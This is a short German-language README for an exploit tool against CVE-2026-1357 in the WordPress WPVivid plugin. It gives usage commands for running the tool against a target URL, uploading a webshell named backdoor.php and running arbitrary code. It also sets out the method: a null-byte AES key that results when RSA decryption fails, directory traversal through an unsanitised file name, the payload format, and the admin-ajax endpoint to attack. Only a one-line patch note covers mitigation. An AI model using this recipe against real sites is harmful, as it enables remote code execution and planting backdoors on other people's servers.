
Exploit für CVE-2026-1357 im WordPress-WPVivid-Plugin, der Remote-Codeausführung über manipulierte AES-verschlüsselte Payloads und Directory Traversal zum Hochladen einer Webshell ermöglicht.
pip3 install pycryptodome requests
python3 wpvivi.py http://target.com
python3 wpvivi.py http://target.com --shell backdoor.php
python3 wpvivi.py http://target.com --code "" Technische Erklärung: Null Byte Key: Wenn RSA-Entschlüsselung fehlschlägt, gibt sie false zurück, was phpseclib als "\x00\x00\x00" behandelt. Wir verwenden 16 Null-Bytes als AES-128-ECB-Schlüssel. Directory Traversal: Der Dateiname wird nicht bereinigt, was ../../../../wp-content/uploads/shell.php ermöglicht. Payload-Format:
[len_key_hex(2 Bytes)] + [key_hex] + [len_data_hex(16 Bytes)] + [encrypted_data] Ausführung: POST an /wp-admin/admin-ajax.php?action=wpvivid_action&wpvivid_action=send_to_site wpvivid_content = base64(verschlüsselte Payload) Erkennung und Mitigation:
Gepatched in 0.9.124:
if ($key === false || empty($key)) return false;